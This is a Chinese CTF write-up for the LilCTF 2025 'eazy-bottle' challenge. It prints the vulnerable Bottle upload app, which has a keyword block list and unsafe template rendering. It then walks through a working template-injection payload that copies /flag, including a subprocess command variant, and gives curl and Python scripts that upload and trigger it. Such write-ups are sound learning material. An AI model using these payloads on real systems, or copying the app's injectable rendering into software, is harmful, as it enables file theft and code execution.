Featured image of post [LilCTF 2025]eazy-bootle WP

[LilCTF 2025]eazy-bootle WP

bottle模板的SSTI

[LilCTF 2025]eazy-bottle wp

签到题都没写出来(悲)

题目分析

这个题目网站没什么内容,就是给了一个可以进到/upload页面下,给的源码如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')  
#定义变量__file__是当前脚本地址的字符串,如home/user/app/app.py,os.path.dirname(__file__)函数返回该脚本的所在目录
#s.path.join("/home/user/app", "uploads")智能连接路径 会返回 "/home/user/app/uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)#若待创建目录存在不报错

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]


def contains_blacklist(content):
    return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
    return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000  
#zipinfo.external_attr储存着压缩文件的信息,右移16位再用掩码处理后得到了表示所压缩的文件类型的数字




def is_safe_path(base_dir, target_path):
    return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))
# os.path.realpath() 返回规范化后的绝对路径,如/var/www/uploads/../../../flag返回/flag
# .startwith检查 os.path.realpath(target_path)是否以h(os.path.realpath(base_dir)) 开头,应该为/var/www/uploads

@route('/')
def index():
    return static_file('index.html', root=STATIC_DIR)

@route('/static/<filename>')
def server_static(filename):
    return static_file(filename, root=STATIC_DIR)
#访问/static/xxx时触发server_static(filename)函数,显示对应文件
#<filename> 是一个通配符,它会匹配URL中这个位置的任何字符串,并将其作为参数传递给处理函数

@route('/upload')
def upload_page():
    return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
    zip_file = request.files.get('file')
    #从 HTTP 请求中获取名为 'file' 的上传文件,将该文件对象赋值给变量 zip_file
   
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return 'Invalid file. Please upload a ZIP file.'

    if len(zip_file.file.read()) > MAX_FILE_SIZE:
        return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

    zip_file.file.seek(0)
    #重置指针位置

    current_time = str(time.time())
    unique_string = zip_file.filename + current_time
    md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
    os.makedirs(extract_dir)
    zip_path = os.path.join(extract_dir, 'upload.zip')
    zip_file.save(zip_path)
  # 确定唯一路径并保存上传文件

    try: # 捕获异常
        with zipfile.ZipFile(zip_path, 'r') as z:
            for file_info in z.infolist():
                if is_symlink(file_info):
                    return 'Symbolic links are not allowed.'

                real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
                if not is_safe_path(extract_dir, real_dest_path):
                    return 'Path traversal detected.'

            z.extractall(extract_dir)
            # 通过检验后解压
    except zipfile.BadZipFile:
        return 'Invalid ZIP file.' #try中出现异常报错

    files = os.listdir(extract_dir)
    files.remove('upload.zip')

    return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
                    files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")

# 读取上传文件的渲染结果
@route('/view/<md5>/<filename>')
def view_file(md5, filename):
    file_path = os.path.join(UPLOAD_DIR, md5, filename)
    if not os.path.exists(file_path):
        return "File not found."

    with open(file_path, 'r', encoding='utf-8') as f:
        content = f.read()

    if contains_blacklist(content):
        return "you are hacker!!!nonono!!!"

    try:
        return template(content)
        #  !关键漏洞点!  

  except Exception as e:
        return f"Error rendering template: {str(e)}"


@error(404)
def error404(error):
    return "bbbbbboooottle"


@error(403)
def error403(error):
    return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
    run(host='0.0.0.0', port=5000, debug=False)

WriteUp

1. 构造payload.zip文件

Bottle的模板引擎设计时考虑了安全性,include() 函数被限制为只能包含模板目或其子目录中的文件。这是为了防止任意文件读取漏洞。 bottle中加% 可以写入python代码,渲染后,导入库后复制目标文件到当前目录,inlcude包含直接就原样输出啦

1
2
3
4
% import shutil;shutil.copy('/flag', './aaa')
# 或者%import subprocess; subprocess.call(['cp', '/flag', './aaa'])

% include("aaa")

介绍涉及的库

特性 shutil subprocess
抽象级别 高级文件操作 低级进程控制
主要用途 文件/目录操作 执行任意命令
跨平台性 很好,抽象了系统差异 一般,命令可能因系统而异
安全性 相对安全,功能受限 风险高,可执行任意命令
CTF应用 文件操作、数据提取 命令执行、漏洞利用、系统交互
学习曲线 简单直观 较复杂,需要了解系统命令

打包

1
7z a payload.zip payload.tpl

发送

1
2
curl -X POST http://challenge.xinshi.fun:32360/upload \
            -F "file=@payload.zip"      #发送POST请求,包含files = {"file": ('payload.zip', file)}

后访问回复的地址即可

2. python脚本

思路其实一样啦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re

BASE_URL = "http://ip:port"

with open('payload.zip', 'rb') as file:
    files = {"file": ('payload.zip', file)}
    res = requests.post(url=f"{BASE_URL}/upload", files=files)

upload_response = res.text
print("Upload Response:", upload_response)

match = re.search(r"/view/([\w-]+)/([\w\-]+)", upload_response)
if not match:
    print("Failed to extract MD5 and filename from response.")
    exit()

md5, filename = match.groups()
print(f"Extracted MD5: {md5}, Filename: {filename}")

view_res = requests.get(f"{BASE_URL}/view/{md5}/{filename}")
print("Response:", view_res.text)
Licensed under CC BY-NC-SA 4.0
你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计